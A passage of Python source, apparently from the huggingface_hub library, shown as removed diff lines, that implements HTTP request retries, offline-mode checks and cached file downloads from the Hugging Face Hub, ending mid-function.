library_name: Optional[str] = None, - library_version: Optional[str] = None, - user_agent: Union[Dict, str, None] = None, -) -> str: - """Deprecated in favor of [`build_hf_headers`].""" - return _http_user_agent( - library_name=library_name, - library_version=library_version, - user_agent=user_agent, - ) - - -class OfflineModeIsEnabled(ConnectionError): - pass - - -def _raise_if_offline_mode_is_enabled(msg: Optional[str] = None): - """Raise a OfflineModeIsEnabled error (subclass of ConnectionError) if - HF_HUB_OFFLINE is True.""" - if constants.HF_HUB_OFFLINE: - raise OfflineModeIsEnabled( - "Offline mode is enabled." if msg is None else "Offline mode is enabled. " + str(msg) - ) - - -def _request_wrapper( - method: HTTP_METHOD_T, - url: str, - *, - max_retries: int = 0, - base_wait_time: float = 0.5, - max_wait_time: float = 2, - timeout: Optional[float] = 10.0, - follow_relative_redirects: bool = False, - **params, -) -> requests.Response: - """Wrapper around requests methods to add several features. - - What it does: - 1. Ensure offline mode is disabled (env variable `HF_HUB_OFFLINE` not set to 1). - If enabled, a `OfflineModeIsEnabled` exception is raised. - 2. Follow relative redirections if `follow_relative_redirects=True` even when - `allow_redirection` kwarg is set to False. - 3. Retry in case request fails with a `Timeout` or `ProxyError`, with exponential backoff. - - Args: - method (`str`): - HTTP method, such as 'GET' or 'HEAD'. - url (`str`): - The URL of the resource to fetch. - max_retries (`int`, *optional*, defaults to `0`): - Maximum number of retries, defaults to 0 (no retries). - base_wait_time (`float`, *optional*, defaults to `0.5`): - Duration (in seconds) to wait before retrying the first time. - Wait time between retries then grows exponentially, capped by - `max_wait_time`. - max_wait_time (`float`, *optional*, defaults to `2`): - Maximum amount of time between two retries, in seconds. - timeout (`float`, *optional*, defaults to `10`): - How many seconds to wait for the server to send data before - giving up which is passed to `requests.request`. - follow_relative_redirects (`bool`, *optional*, defaults to `False`) - If True, relative redirection (redirection to the same site) will be - resolved even when `allow_redirection` kwarg is set to False. Useful when we - want to follow a redirection to a renamed repository without following - redirection to a CDN. - **params (`dict`, *optional*): - Params to pass to `requests.request`. - """ - # 1. Check online mode - _raise_if_offline_mode_is_enabled(f"Tried to reach {url}") - - # 2. Force relative redirection - if follow_relative_redirects: - response = _request_wrapper( - method=method, - url=url, - max_retries=max_retries, - base_wait_time=base_wait_time, - max_wait_time=max_wait_time, - timeout=timeout, - follow_relative_redirects=False, - **params, - ) - - # If redirection, we redirect only relative paths. - # This is useful in case of a renamed repository. - if 300 <= response.status_code <= 399: - parsed_target = urlparse(response.headers["Location"]) - if parsed_target.netloc == "": - # This means it is a relative 'location' headers, as allowed by RFC 7231. - # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource') - # We want to follow this relative redirect ! - # - # Highly inspired by `resolve_redirects` from requests library. - # See https://github.com/psf/requests/blob/main/requests/sessions.py#L159 - return _request_wrapper( - method=method, - url=urlparse(url)._replace(path=parsed_target.path).geturl(), - max_retries=max_retries, - base_wait_time=base_wait_time, - max_wait_time=max_wait_time, - timeout=timeout, - follow_relative_redirects=True, # resolve recursively - **params, - ) - return response - - # 3. Exponential backoff - return http_backoff( - method=method, - url=url, - max_retries=max_retries, - base_wait_time=base_wait_time, - max_wait_time=max_wait_time, - retry_on_exceptions=(Timeout, ProxyError), - retry_on_status_codes=(), - timeout=timeout, - **params, - ) - - -def _request_with_retry(*args, **kwargs) -> requests.Response: - """Deprecated method. Please use `_request_wrapper` instead. - - Alias to keep backward compatibility (used in Transformers). - """ - return _request_wrapper(*args, **kwargs) - - -def http_get( - url: str, - temp_file: BinaryIO, - *, - proxies=None, - resume_size: float = 0, - headers: Optional[Dict[str, str]] = None, - timeout: Optional[float] = 10.0, - max_retries: int = 0, - expected_size: Optional[int] = None, -): - """ - Download a remote file. Do not gobble up errors, and will return errors tailored to the Hugging Face Hub. - """ - if not resume_size: - if HF_HUB_ENABLE_HF_TRANSFER: - try: - # Download file using an external Rust-based package. Download is faster - # (~2x speed-up) but support less features (no progress bars). - from hf_transfer import download - - logger.debug(f"Download {url} using HF_TRANSFER.") - max_files = 100 - chunk_size = 10 * 1024 * 1024 # 10 MB - download(url, temp_file.name, max_files, chunk_size, headers=headers) - return - except ImportError: - raise ValueError( - "Fast download using 'hf_transfer' is enabled" - " (HF_HUB_ENABLE_HF_TRANSFER=1) but 'hf_transfer' package is not" - " available in your environment. Try `pip install hf_transfer`." - ) - except Exception as e: - raise RuntimeError( - "An error occurred while downloading using `hf_transfer`. Consider" - " disabling HF_HUB_ENABLE_HF_TRANSFER for better error handling." - ) from e - - headers = copy.deepcopy(headers) or {} - if resume_size > 0: - headers["Range"] = "bytes=%d-" % (resume_size,) - - r = _request_wrapper( - method="GET", - url=url, - stream=True, - proxies=proxies, - headers=headers, - timeout=timeout, - max_retries=max_retries, - ) - hf_raise_for_status(r) - content_length = r.headers.get("Content-Length") - - # NOTE: 'total' is the total number of bytes to download, not the number of bytes in the file. - # If the file is compressed, the number of bytes in the saved file will be higher than 'total'. - total = resume_size + int(content_length) if content_length is not None else None - - displayed_name = url - content_disposition = r.headers.get("Content-Disposition") - if content_disposition is not None: - match = HEADER_FILENAME_PATTERN.search(content_disposition) - if match is not None: - # Means file is on CDN - displayed_name = match.groupdict()["filename"] - - # Truncate filename if too long to display - if len(displayed_name) > 22: - displayed_name = f"(…){displayed_name[-20:]}" - - progress = tqdm( - unit="B", - unit_scale=True, - total=total, - initial=resume_size, - desc=f"Downloading {displayed_name}", - disable=bool(logger.getEffectiveLevel() == logging.NOTSET), - ) - for chunk in r.iter_content(chunk_size=10 * 1024 * 1024): - if chunk: # filter out keep-alive new chunks - progress.update(len(chunk)) - temp_file.write(chunk) - - if expected_size is not None and expected_size != temp_file.tell(): - raise EnvironmentError( - f"Consistency check failed: file should be of size {expected_size} but has size" - f" {temp_file.tell()} ({displayed_name}).\nWe are sorry for the inconvenience. Please retry download and" - " pass `force_download=True, resume_download=False` as argument.\nIf the issue persists, please let us" - " know by opening an issue on https://github.com/huggingface/huggingface_hub." - ) - - progress.close() - - -@validate_hf_hub_args -def cached_download( - url: str, - *, - library_name: Optional[str] = None, - library_version: Optional[str] = None, - cache_dir: Union[str, Path, None] = None, - user_agent: Union[Dict, str, None] = None, - force_download: bool = False, - force_filename: Optional[str] = None, - proxies: Optional[Dict] = None, - etag_timeout: float = 10, - resume_download: bool = False, - token: Union[bool, str, None] = None, - local_files_only: bool = False, - legacy_cache_layout: bool = False, -) -> str: - """ - Download from a given URL and cache it if it's not already present in the - local cache. - - Given a URL, this function looks for the corresponding file in the local - cache. If it's not there, download it. Then return the path to the cached - file. - - Will raise errors tailored to the Hugging Face Hub. - - Args: - url (`str`): - The path to the file to be downloaded. - library_name (`str`, *optional*): - The name of the library to which the object corresponds. - library_version (`str`, *optional*): - The version of the library. - cache_dir (`str`, `Path`, *optional*): - Path to the folder where cached files are stored. - user_agent (`dict`, `str`, *optional*): - The user-agent info in the form of a dictionary or a string. - force_download (`bool`, *optional*, defaults to `False`): - Whether the file should be downloaded even if it already exists in - the local cache. - force_filename (`str`, *optional*): - Use this name instead of a generated file name. - proxies (`dict`, *optional*): - Dictionary mapping protocol to the URL of the proxy passed to - `requests.request`. - etag_timeout (`float`, *optional* defaults to `10`): - When fetching ETag, how many seconds to wait for the server to send - data before giving up which is passed to `requests.request`. - resume_download (`bool`, *optional*, defaults to `False`): - If `True`, resume a previously interrupted download. - token (`bool`, `str`, *optional*): - A token to be used for the download. - - If `True`, the token is read from the HuggingFace config - folder. - - If a string, it's used as the authentication token. - local_files_only (`bool`, *optional*, defaults to `False`): - If `True`, avoid downloading the file and return the path to the - local cached file if it exists. - legacy_cache_layout (`bool`, *optional*, defaults to `False`): - Set this parameter to `True` to mention that you'd like to continue - the old cache layout. Putting this to `True` manually will not raise - any warning when using `cached_download`. We recommend using - `hf_hub_download` to take advantage of the new cache. - - Returns: - Local path (string) of file or if networking is off, last version of - file cached on disk. - - - - Raises the following errors: - - - [`EnvironmentError`](https://docs.python.org/3/library/exceptions.html#EnvironmentError) - if `token=True` and the token cannot be found. - - [`OSError`](https://docs.python.org/3/library/exceptions.html#OSError) - if ETag cannot be determined. - - [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError) - if some parameter value is invalid - - [`~utils.RepositoryNotFoundError`] - If the repository to download from cannot be found. This may be because it doesn't exist, - or because it is set to `private` and you do not have access. - - [`~utils.RevisionNotFoundError`] - If the revision to download from cannot be found. - - [`~utils.EntryNotFoundError`] - If the file to download cannot be found. - - [`~utils.LocalEntryNotFoundError`] - If network is disabled or unavailable and file is not found in cache. - - - """ - if not legacy_cache_layout: - warnings.warn( - ( - "'cached_download' is the legacy way to download files from the HF hub, please consider upgrading to" - " 'hf_hub_download'" - ), - FutureWarning, - ) - - if cache_dir is None: - cache_dir = HUGGINGFACE_HUB_CACHE - if isinstance(cache_dir, Path): - cache_dir = str(cache_dir) - - os.makedirs(cache_dir, exist_ok=True) - - headers = build_hf_headers( - token=token, - library_name=library_name, - library_version=library_version, - user_agent=user_agent, - ) - - url_to_download = url - etag = None - expected_size = None - if not local_files_only: - try: - # Temporary header: we want the full (decompressed) content size returned to be able to check the - # downloaded file size - headers["Accept-Encoding"] = "identity" - r = _request_wrapper( - method="HEAD", - url=url, - headers=headers, - allow_redirects=False, - follow_relative_redirects=True, - proxies=proxies, - timeout=etag_timeout, - ) - headers.pop("Accept-Encoding", None) - hf_raise_for_status(r) - etag = r.headers.get(HUGGINGFACE_HEADER_X_LINKED_ETAG) or r.headers.get("ETag") - # We favor a custom header indicating the etag of the linked resource, and - # we fallback to the regular etag header. - # If we don't have any of those, raise an error. - if etag is None: - raise OSError( - "Distant resource does not have an ETag, we won't be able to reliably ensure reproducibility." - ) - # We get the expected size of the file, to check the download went well. - expected_size = _int_or_none(r.headers.get("Content-Length")) - # In case of a redirect, save an extra redirect on the request.get call, - # and ensure we download the exact atomic version even if it changed - # between the HEAD and the GET (unlikely, but hey). - # Useful for lfs blobs that are stored on a CDN. - if 300 <= r.status_code <= 399: - url_to_download = r.headers["Location"] - headers.pop("authorization", None) - expected_size = None # redirected -> can't know the expected size - except (requests.exceptions.SSLError, requests.exceptions.ProxyError): - # Actually raise for those subclasses of ConnectionError - raise - except ( - requests.exceptions.ConnectionError, - requests.exceptions.Timeout, - OfflineModeIsEnabled, - ): - # Otherwise, our Internet connection is down. - # etag is None - pass - - filename = force_filename if force_filename is not None else url_to_filename(url, etag) - - # get cache path to put the file - cache_path = os.path.join(cache_dir, filename) - - # etag is None == we don't have a connection or we passed local_files_only. - # try to get the last downloaded one - if etag is None: - if os.path.exists(cache_path) and not force_download: - return cache_path - else: - matching_files = [ - file - for file in fnmatch.filter(os.listdir(cache_dir), filename.split(".")[0] + ".*") - if not file.endswith(".json") and not file.endswith(".lock") - ] - if len(matching_files) > 0 and not force_download and force_filename is None: - return os.path.join(cache_dir, matching_files[-1]) - else: - # If files cannot be found and local_files_only=True, - # the models might've been found if local_files_only=False - # Notify the user about that - if local_files_only: - raise LocalEntryNotFoundError( - "Cannot find the requested files in the cached path and" - " outgoing traffic has been disabled. To enable model look-ups" - " and downloads online, set 'local_files_only' to False." - ) - else: - raise LocalEntryNotFoundError( - "Connection error, and we cannot find the requested files in" - " the cached path. Please try again or make sure your Internet" - " connection is on." - ) - - # From now on, etag is not None. - if os.path.exists(cache_path) and not force_download: - return cache_path - - # Prevent parallel downloads of the same file with a lock. - lock_path = cache_path + ".lock" - - # Some Windows versions do not allow for paths longer than 255 characters. - # In this case, we must specify it is an extended path by using the "\\?\" prefix. - if os.name == "nt" and len(os.path.abspath(lock_path)) > 255: - lock_path = "\\\\?\\" + os.path.abspath(lock_path) - - if os.name == "nt" and len(os.path.abspath(cache_path)) > 255: - cache_path = "\\\\?\\" + os.path.abspath(cache_path) - - with FileLock(lock_path): - # If the download just completed while the lock was activated. - if os.path.exists(cache_path) and not force_download: - # Even if returning early like here, the lock will be released. - return cache_path - - if resume_download: - incomplete_path = cache_path + ".incomplete" - - @contextmanager - def _resumable_file_manager() -> Generator[io.BufferedWriter, None, None]: - with open(incomplete_path, "ab") as f: - yield f - - temp_file_manager = _resumable_file_manager - if os.path.exists(incomplete_path): - resume_size = os.stat(incomplete_path).st_size - else: - resume_size = 0 - else: - temp_file_manager = partial( # type: ignore - tempfile.NamedTemporaryFile, mode="wb", dir=cache_dir, delete=False - ) - resume_size = 0 - - # Download to temporary file, then copy to cache dir once finished. - # Otherwise you get corrupt cache entries if the download gets interrupted. - with temp_file_manager() as temp_file: - logger.info("downloading %s to %s", url, temp_file.name) - - http_get( - url_to_download, - temp_file, - proxies=proxies, - resume_size=resume_size, - headers=headers, - expected_size=expected_size, - ) - - logger.info("storing %s in cache at %s", url, cache_path) - _chmod_and_replace(temp_file.name, cache_path) - - if force_filename is None: - logger.info("creating metadata file for %s", cache_path) - meta = {"url": url, "etag": etag} - meta_path = cache_path + ".json" - with open(meta_path, "w") as meta_file: - json.dump(meta, meta_file) - - return cache_path - - -def _normalize_etag(etag: Optional[str]) -> Optional[str]: - """Normalize ETag HTTP header, so it can be used to create nice filepaths. - - The HTTP spec allows two forms of ETag: - ETag: W/"" - ETag: "" - - For now, we only expect the second form from the server, but we want to be future-proof so we support both. For - more context, see `TestNormalizeEtag` tests and https://github.com/huggingface/huggingface_hub/pull/1428. - - Args: - etag (`str`, *optional*): HTTP header - - Returns: - `str` or `None`: string that can be used as a nice directory name. - Returns `None` if input is None. - """ - if etag is None: - return None - return etag.lstrip("W/").strip('"') - - -def _create_relative_symlink(src: str, dst: str, new_blob: bool = False) -> None: - """Alias method used in `transformers` conversion script.""" - return _create_symlink(src=src, dst=dst, new_blob=new_blob) - - -def _create_symlink(src: str, dst: str, new_blob: bool = False) -> None: - """Create a symbolic link named dst pointing to src. - - By default, it will try to create a symlink using a relative path. Relative paths have 2 advantages: - - If the cache_folder is moved (example: back-up on a shared drive), relative paths within the cache folder will - not brake. - - Relative paths seems to be better handled on Windows. Issue was reported 3 times in less than a week when - changing from relative to absolute paths. See https://github.com/huggingface/huggingface_hub/issues/1398, - https://github.com/huggingface/diffusers/issues/2729 and https://github.com/huggingface/transformers/pull/22228. - NOTE: The issue with absolute paths doesn't happen on admin mode. - When creating a symlink from the cache to a local folder, it is possible that a relative path cannot be created. - This happens when paths are not on the same volume. In that case, we use absolute paths. - - - The result layout looks something like - └── [ 128] snapshots - ├── [ 128] 2439f60ef33a0d46d85da5001d52aeda5b00ce9f - │ ├── [ 52] README.md -> ../../../blobs/d7edf6bd2a681fb0175f7735299831ee1b22b812 - │ └── [ 76] pytorch_model.bin -> ../../../blobs/403450e234d65943a7dcf7e05a771ce3c92faa84dd07db4ac20f592037a1e4bd - - If symlinks cannot be created on this platform (most likely to be Windows), the workaround is to avoid symlinks by - having the actual file in `dst`. If it is a new file (`new_blob=True`), we move it to `dst`. If it is not a new file - (`new_blob=False`), we don't know if the blob file is already referenced elsewhere. To avoid breaking existing - cache, the file is duplicated on the disk. - - In case symlinks are not supported, a warning message is displayed to the user once when loading `huggingface_hub`. - The warning message can be disable with the `DISABLE_SYMLINKS_WARNING` environment variable. - """ - try: - os.remove(dst) - except OSError: - pass - - abs_src = os.path.abspath(os.path.expanduser(src)) - abs_dst = os.path.abspath(os.path.expanduser(dst)) - - # Use relative_dst in priority - try: - relative_src = os.path.relpath(abs_src, os.path.dirname(abs_dst)) - except ValueError: - # Raised on Windows if src and dst are not on the same volume. This is the case when creating a symlink to a - # local_dir instead of within the cache directory. - # See https://docs.python.org/3/library/os.path.html#os.path.relpath - relative_src = None - - try: - try: - commonpath = os.path.commonpath([abs_src, abs_dst]) - _support_symlinks = are_symlinks_supported(os.path.dirname(commonpath)) - except ValueError: - # Raised if src and dst are not on the same volume. Symlinks will still work on Linux/Macos. - # See https://docs.python.org/3/library/os.path.html#os.path.commonpath - _support_symlinks = os.name != "nt" - except PermissionError: - # Permission error means src and dst are not in the same volume (e.g. destination path has been provided - # by the user via `local_dir`. Let's test symlink support there) - _support_symlinks = are_symlinks_supported(os.path.dirname(abs_dst)) - - if _support_symlinks: - src_rel_or_abs = relative_src or abs_src - logger.info(f"Creating pointer from {src_rel_or_abs} to {abs_dst}") - try: - os.symlink(src_rel_or_abs, abs_dst) - except FileExistsError: - if os.path.islink(abs_dst) and os.path.realpath(abs_dst) == os.path.realpath(abs_src): - # `abs_dst` already exists and is a symlink to the `abs_src` blob. It is most likely that the file has - # been cached twice concurrently (exactly between `os.remove` and `os.symlink`). Do nothing. - pass - else: - # Very unlikely to happen. Means a file `dst` has been created exactly between `os.remove` and - # `os.symlink` and is not a symlink to the `abs_src` blob file. Raise exception. - raise - elif new_blob: - logger.info(f"Symlink not supported. Moving file from {abs_src} to {abs_dst}") - shutil.move(src, dst) - else: - logger.info(f"Symlink not supported. Copying file from {abs_src} to {abs_dst}") - shutil.copyfile(src, dst) - - -def _cache_commit_hash_for_specific_revision(storage_folder: str, revision: str, commit_hash: str) -> None: - """Cache reference between a revision (tag, branch or truncated commit hash) and the corresponding commit hash. - - Does nothing if `revision` is already a proper `commit_hash` or reference is already cached. - """ - if revision != commit_hash: - ref_path = Path(storage_folder) / "refs" / revision - ref_path.parent.mkdir(parents=True, exist_ok=True) - if not ref_path.exists() or commit_hash != ref_path.read_text(): - # Update ref only if has been updated. Could cause useless error in case - # repo is already cached and user doesn't have write access to cache folder. - # See https://github.com/huggingface/huggingface_hub/issues/1216. - ref_path.write_text(commit_hash) - - -@validate_hf_hub_args -def repo_folder_name(*, repo_id: str, repo_type: str) -> str: - """Return a serialized version of a hf.co repo name and type, safe for disk storage - as a single non-nested folder. - - Example: models--julien-c--EsperBERTo-small - """ - # remove all `/` occurrences to correctly convert repo to directory name - parts = [f"{repo_type}s", *repo_id.split("/")] - return REPO_ID_SEPARATOR.join(parts) - - -@validate_hf_hub_args -def hf_hub_download( - repo_id: str, - filename: str, - *, - subfolder: Optional[str] = None, - repo_type: Optional[str] = None, - revision: Optional[str] = None, - library_name: Optional[str] = None, - library_version: Optional[str] = None, - cache_dir: Union[str, Path, None] = None, - local_dir: Union[str, Path, None] = None, - local_dir_use_symlinks: Union[bool, Literal["auto"]] = "auto", - user_agent: Union[Dict, str, None] = None, - force_download: bool = False, - force_filename: Optional[str] = None, - proxies: Optional[Dict] = None, - etag_timeout: float = 10, - resume_download: bool = False, - token: Union[bool, str, None] = None, - local_files_only: bool = False, - legacy_cache_layout: bool = False, -) -> str: - """Download a given file if it's not already present in the local cache. - - The new cache file layout looks like this: - - The cache directory contains one subfolder per repo_id (namespaced by repo type) - - inside each repo folder: - - refs is a list of the latest known revision => commit_hash pairs - - blobs contains the actual file blobs (identified by their git-sha or sha256, depending on - whether they're LFS files or not) - - snapshots contains one subfolder per commit, each "commit" contains the subset of the files - that have been resolved at that particular commit. Each filename is a symlink to the blob - at that particular commit. - - If `local_dir` is provided, the file structure from the repo will be replicated in this location. You can configure - how you want to move those files: - - If `local_dir_use_symlinks="auto"` (default), files are downloaded and stored in the cache directory as blob - files. Small files (<5MB) are duplicated in `local_dir` while a symlink is created for bigger files. The goal - is to be able to manually edit and save small files without corrupting the cache while saving disk space for - binary files. The 5MB threshold can be configured with the `HF_HUB_LOCAL_DIR_AUTO_SYMLINK_THRESHOLD` - environment variable. - - If `local_dir_use_symlinks=True`, files are downloaded, stored in the cache directory and symlinked in `local_dir`. - This is optimal in term of disk usage but files must not be manually edited. - - If `local_dir_use_symlinks=False` and the blob files exist in the cache directory, they are duplicated in the - local dir. This means disk usage is not optimized. - - Finally, if `local_dir_use_symlinks=False` and the blob files do not exist in the cache directory, then the - files are downloaded and directly placed under `local_dir`. This means if you need to download them again later, - they will be re-downloaded entirely. - - ``` - [ 96] . - └── [ 160] models--julien-c--EsperBERTo-small - ├── [ 160] blobs - │ ├── [321M] 403450e234d65943a7dcf7e05a771ce3c92faa84dd07db4ac20f592037a1e4bd - │ ├── [ 398] 7cb18dc9bafbfcf74629a4b760af1b160957a83e - │ └── [1.4K] d7edf6bd2a681fb0175f7735299831ee1b22b812 - ├── [ 96] refs - │ └── [ 40] main - └── [ 128] snapshots - ├── [ 128] 2439f60ef33a0d46d85da5001d52aeda5b00ce9f - │ ├── [ 52] README.md -> ../../blobs/d7edf6bd2a681fb0175f7735299831ee1b22b812 - │ └── [ 76] pytorch_model.bin -> ../../blobs/403450e234d65943a7dcf7e05a771ce3c92faa84dd07db4ac20f592037a1e4bd - └── [ 128] bbc77c8132af1cc5cf678da3f1ddf2de43606d48 - ├── [ 52] README.md -> ../../blobs/7cb18dc9bafbfcf74629a4b760af1b160957a83e - └── [ 76] pytorch_model.bin -> ../../blobs/403450e234d65943a7dcf7e05a771ce3c92faa84dd07db4ac20f592037a1e4bd - ``` - - Args: - repo_id (`str`): - A user or an organization name and a repo name separated by a `/`. - filename (`str`): - The name of the file in the repo. - subfolder (`str`, *optional*): - An optional value corresponding to a folder inside the model repo. - repo_type (`str`, *optional*): - Set to `"dataset"` or `"space"` if downloading from a dataset or space, - `None` or `"model"` if downloading from a model. Default is `None`. - revision (`str`, *optional*): - An optional Git revision id which can be a branch name, a tag, or a - commit hash. - library_name (`str`, *optional*): - The name of the library to which the object corresponds. - library_version (`str`, *optional*): - The version of the library. - cache_dir (`str`, `Path`, *optional*): - Path to the folder where cached files are stored. - local_dir (`str` or `Path`, *optional*): - If provided, the downloaded file will be placed under this directory, either as a symlink (default) or - a regular file (see description for more details). - local_dir_use_symlinks (`"auto"` or `bool`, defaults to `"auto"`): - To be used with `local_dir`. If set to "auto", the cache directory will be used and the file will be either - duplicated or symlinked to the local directory depending on its size. It set to `True`, a symlink will be - created, no matter the file size. If set to `False`, the file will either be duplicated from cache (if - already exists) or downloaded from the Hub and not cached. See description for more details. - user_agent (`dict`, `str`, *optional*): - The user-agent info in the form of a dictionary or a string. - force_download (`bool`, *optional*, defaults to `False`): - Whether the file should be downloaded even if it already exists in - the local cache. - proxies (`dict`, *optional*): - Dictionary mapping protocol to the URL of the proxy passed to - `requests.request`. - etag_timeout (`float`, *optional*, defaults to `10`): - When fetching ETag, how many seconds to wait for the server to send - data before giving up which is passed to `requests.request`. - resume_download (`bool`, *optional*, defaults to `False`): - If `True`, resume a previously interrupted download. - token (`str`, `bool`, *optional*): - A token to be used for the download. - - If `True`, the token is read from the HuggingFace config - folder. - - If a string, it's used as the authentication token. - local_files_only (`bool`, *optional*, defaults to `False`): - If `True`, avoid downloading the file and return the path to the - local cached file if it exists. - legacy_cache_layout (`bool`, *optional*, defaults to `False`): - If `True`, uses the legacy file cache layout i.e. just call [`hf_hub_url`] - then `cached_download`. This is deprecated as the new cache layout is - more powerful. - - Returns: - Local path (string) of file or if networking is off, last version of - file cached on disk. - - - - Raises the following errors: - - - [`EnvironmentError`](https://docs.python.org/3/library/exceptions.html#EnvironmentError) - if `token=True` and the token cannot be found. - - [`OSError`](https://docs.python.org/3/library/exceptions.html#OSError) - if ETag cannot be determined. - - [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError) - if some parameter value is invalid - - [`~utils.RepositoryNotFoundError`] - If the repository to download from cannot be found. This may be because it doesn't exist, - or because it is set to `private` and you do not have access. - - [`~utils.RevisionNotFoundError`] - If the revision to download from cannot be found. - - [`~utils.EntryNotFoundError`] - If the file to download cannot be found. - - [`~utils.LocalEntryNotFoundError`] - If network is disabled or unavailable and file is not found in cache. - - - """ - if force_filename is not None: - warnings.warn( - ( - "The `force_filename` parameter is deprecated as a new caching system, " - "which keeps the filenames as they are on the Hub, is now in place." - ), - FutureWarning, - ) - legacy_cache_layout = True - - if legacy_cache_layout: - url = hf_hub_url( - repo_id, - filename, - subfolder=subfolder, - repo_type=repo_type, - revision=revision, - ) - - return cached_download( - url, - library_name=library_name, - library_version=library_version, - cache_dir=cache_dir, - user_agent=user_agent, - force_download=force_download, - force_filename=force_filename, - proxies=proxies, - etag_timeout=etag_timeout, - resume_download=resume_download, - token=token, - local_files_only=local_files_only, - legacy_cache_layout=legacy_cache_layout, - ) - - if cache_dir is None: - cache_dir = HUGGINGFACE_HUB_CACHE - if revision is None: - revision = DEFAULT_REVISION - if isinstance(cache_dir, Path): - cache_dir = str(cache_dir) - if isinstance(local_dir, Path): - local_dir = str(local_dir) - - if subfolder == "": - subfolder = None - if subfolder is not None: - # This is used to create a URL, and not a local path, hence the forward slash. - filename = f"{subfolder}/{filename}" - - if repo_type is None: - repo_type = "model" - if repo_type not in REPO_TYPES: - raise ValueError(f"Invalid repo type: {repo_type}. Accepted repo types are: {str(REPO_TYPES)}") - - storage_folder = os.path.join(cache_dir, repo_folder_name(repo_id=repo_id, repo_type=repo_type)) - os.makedirs(storage_folder, exist_ok=True) - - # cross platform transcription of filename, to be used as a local file path. - relative_filename = os.path.join(*filename.split("/")) - if os.name == "nt": - if relative_filename.startswith("..\\") or "\\..\\" in relative_filename: - raise ValueError( - f"Invalid filename: cannot handle filename '{relative_filename}' on Windows. Please ask the repository" - " owner to rename this file." - ) - - # if user provides a commit_hash and they already have the file on disk, - # shortcut everything. - if REGEX_COMMIT_HASH.match(revision): - pointer_path = _get_pointer_path(storage_folder, revision, relative_filename) - if os.path.exists(pointer_path): - if local_dir is not None: - return _to_local_dir(pointer_path, local_dir, relative_filename, use_symlinks=local_dir_use_symlinks) - return pointer_path - - url = hf_hub_url(repo_id, filename, repo_type=repo_type, revision=revision) - - headers = build_hf_headers( - token=token, - library_name=library_name, - library_version=library_version, - user_agent=user_agent, - ) - - url_to_download = url - etag = None - commit_hash = None - expected_size = None - if not local_files_only: - try: - try: - metadata = get_hf_file_metadata( - url=url, - token=token, - proxies=proxies, - timeout=etag_timeout, - ) - except EntryNotFoundError as http_error: - # Cache the non-existence of the file and raise - commit_hash = http_error.response.headers.get(HUGGINGFACE_HEADER_X_REPO_COMMIT) - if commit_hash is not None and not legacy_cache_layout: - no_exist_file_path = Path(storage_folder) / ".no_exist" / commit_hash / relative_filename - no_exist_file_path.parent.mkdir(parents=True, exist_ok=True) - no_exist_file_path.touch() - _cache_commit_hash_for_specific_revision(storage_folder, revision, commit_hash) - raise - - # Commit hash must exist - commit_hash = metadata.commit_hash - if commit_hash is None: - raise OSError("Distant resource does not seem to be on huggingface.co (missing commit header).") - - # Etag must exist - etag = metadata.etag - # We favor a custom header indicating the etag of the linked resource, and - # we fallback to the regular etag header. - # If we don't have any of those, raise an error. - if etag is None: - raise OSError( - "Distant resource does not have an ETag, we won't be able to reliably ensure reproducibility." - ) - - # Expected (uncompressed) size - expected_size = metadata.size - - # In case of a redirect, save an extra redirect on the request.get call, - # and ensure we download the exact atomic version even if it changed - # between the HEAD and the GET (unlikely, but hey). - # Useful for lfs blobs that are stored on a CDN. - if metadata.location != url: - url_to_download = metadata.location - # Remove authorization header when downloading a LFS blob - headers.pop("authorization", None) - except (requests.exceptions.SSLError, requests.exceptions.ProxyError): - # Actually raise for those subclasses of ConnectionError - raise - except ( - requests.exceptions.ConnectionError, - requests.exceptions.Timeout, - OfflineModeIsEnabled, - ): - # Otherwise, our Internet connection is down. - # etag is None - pass - - # etag is None == we don't have a connection or we passed local_files_only. - # try to get the last downloaded one from the specified revision. - # If the specified revision is a commit hash, look inside "snapshots". - # If the specified revision is a branch or tag, look inside "refs". - if etag is None: - # In those cases, we cannot force download. - if force_download: - raise ValueError( - "We have no connection or you passed local_files_only, so force_download is not an accepted option." - ) - - # Try to get "commit_hash" from "revision" - commit_hash = None - if REGEX_COMMIT_HASH.match(revision): - commit_hash = revision - else: - ref_path = os.path.join(storage_folder, "refs", revision) - if os.path.isfile(ref_path): - with open(ref_path) as f: - commit_hash = f.read() - - # Return pointer file if exists - if commit_hash is not None: - pointer_path = _get_pointer_path(storage_folder, commit_hash, relative_filename) - if os.path.exists(pointer_path): - if local_dir is not None: - return _to_local_dir( - pointer_path, local_dir, relative_filename, use_symlinks=local_dir_use_symlinks - ) - return pointer_path - - # If we couldn't find an appropriate file on disk, raise an error. - # If files cannot be found and local_files_only=True, - # the models might've been found if local_files_only=False - # Notify the user about that - if local_files_only: - raise LocalEntryNotFoundError( - "Cannot find the requested files in the disk cache and" - " outgoing traffic has been disabled. To enable hf.co look-ups" - " and downloads online, set 'local_files_only' to False." - ) - else: - raise LocalEntryNotFoundError( - "Connection error, and we cannot find the requested files in" - " the disk cache. Please try again or make sure your Internet" - " connection is on." - ) - - # From now on, etag and commit_hash are not None. - assert etag is not None, "etag must have been retrieved from server" - assert commit_hash is not None, "commit_hash must have been retrieved from server" - blob_path = os.path.join(storage_folder, "blobs", etag) - pointer_path = _get_pointer_path(storage_folder, commit_hash, relative_filename) - - os.makedirs(os.path.dirname(blob_path), exist_ok=True) - os.makedirs(os.path.dirname(pointer_path), exist_ok=True) - # if passed revision is not identical to commit_hash - # then revision has to be a branch name or tag name. - # In that case store a ref. - _cache_commit_hash_for_specific_revision(storage_folder, revision, commit_hash) - - if os.path.exists(pointer_path) and not force_download: - if local_dir is not None: - return _to_local_dir(pointer_path, local_dir, relative_filename, use_symlinks=local_dir_use_symlinks) - return pointer_path - - if os.path.exists(blob_path) and not force_download: - # we have the blob already, but not the pointer - if local_dir is not None: # to local dir - return _to_local_dir(blob_path, local_dir, relative_filename, use_symlinks=local_dir_use_symlinks) - else: # or in snapshot cache - _create_symlink(blob_path, pointer_path, new_blob=False) - return pointer_path - - # Prevent parallel downloads of the same file with a lock. - lock_path = blob_path + ".lock" - - # Some Windows versions do not allow for paths longer than 255 characters. - # In this case, we must specify it is an extended path by using the "\\?\" prefix. - if os.name == "nt" and len(os.path.abspath(lock_path)) > 255: - lock_path = "\\\\?\\" + os.path.abspath(lock_path) - - if os.name == "nt" and len(os.path.abspath(blob_path)) > 255: - blob_path = "\\\\?\\" + os.path.abspath(blob_path) - - with FileLock(lock_path): - # If the download just 